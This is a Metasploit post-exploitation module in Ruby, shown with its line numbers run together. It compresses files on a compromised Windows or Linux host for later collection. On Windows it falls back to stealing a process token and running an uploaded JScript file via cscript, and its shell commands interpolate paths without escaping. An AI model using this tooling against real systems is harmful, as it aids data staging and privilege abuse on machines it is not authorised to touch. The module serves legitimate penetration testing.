Path: blob/master/modules/post/multi/manage/zip.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::Priv89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Multi Manage File Compressor',14'Description' => %q{15This module zips a file or a directory. On Linux, it uses the zip command.16On Windows, it will try to use remote target's 7Zip if found. If not, it falls17back to its Windows Scripting Host.18},19'License' => MSF_LICENSE,20'Author' => [ 'sinn3r' ],21'Platform' => [ 'win', 'linux' ],22'SessionTypes' => [ 'meterpreter', 'shell' ],23'Compat' => {24'Meterpreter' => {25'Commands' => %w[26stdapi_sys_config_rev2self27stdapi_sys_config_steal_token28]29}30},31'Notes' => {32'Stability' => [CRASH_SAFE],33'SideEffects' => [],34'Reliability' => []35}36)37)3839register_options(40[41OptString.new('DESTINATION', [true, 'The destination path']),42OptString.new('SOURCE', [true, 'The directory or file to compress'])43]44)45end4647def get_program_file_path48get_env('ProgramFiles')49end5051def has_7zip?52file?("#{get_program_file_path}\\7-Zip\\7z.exe")53end5455def wsh_script(dst, src)56script_file = File.read(File.join(Msf::Config.data_directory, 'post', 'zip', 'zip.js'))57src.gsub!('\\', '\\\\\\')58dst.gsub!('\\', '\\\\\\')59script_file << "zip(\"#{src}\",\"#{dst}\");".force_encoding('UTF-8')60script_file61end6263def find_pid_by_user(username)64computer_name = get_env('COMPUTERNAME')65print_status("Searching for PID for #{computer_name}\\\\#{username}")66session.sys.process.processes.each do |p|67if p['user'] == "#{computer_name}\\#{username}"68return p['pid']69end70end7172nil73end7475def steal_token76current_user = get_env('USERNAME')77pid = find_pid_by_user(current_user)7879unless pid80fail_with(Failure::Unknown, "Unable to find a PID for #{current_user} to execute WSH")81end8283print_status("Stealing token from PID #{pid} for #{current_user}")84begin85session.sys.config.steal_token(pid)86rescue Rex::Post::Meterpreter::RequestError => e87# It could raise an exception even when the token is successfully stolen,88# so we will just log the exception and move on.89elog(e)90end9192@token_stolen = true93end9495def upload_exec_wsh_script_zip96if is_system?97unless session98print_error('Unable to compress with WSH technique without Meterpreter')99return100end101102steal_token103end104105script = wsh_script(datastore['DESTINATION'], datastore['SOURCE'])106tmp_path = "#{get_env('TEMP')}\\zip.js"107print_status("script file uploaded to #{tmp_path}")108write_file(tmp_path, script.encode('UTF-16LE'))109cmd_exec("cscript.exe #{tmp_path}")110end111112def do_7zip113program_file_path = get_program_file_path114output = cmd_exec("#{program_file_path}\\7-Zip\\7z.exe a -tzip \"#{datastore['DESTINATION']}\" \"#{datastore['SOURCE']}\"")115vprint_line(output)116end117118def do_zip119output = cmd_exec("zip -D -q -r #{datastore['DESTINATION']} #{datastore['SOURCE']}")120vprint_line(output)121end122123def windows_zip124if has_7zip?125print_status("Compressing #{datastore['DESTINATION']} via 7zip")126do_7zip127else128print_status("Compressing #{datastore['DESTINATION']} via WSH")129upload_exec_wsh_script_zip130end131end132133def linux_zip134print_status("Compressing #{datastore['DESTINATION']} via zip")135do_zip136end137138def cleanup139if @token_stolen && session140session.sys.config.revert_to_self141print_status('Token restored.')142end143144super145end146147def run148@token_stolen = false149150if session.platform == 'windows'151windows_zip152else153linux_zip154end155end156end157158159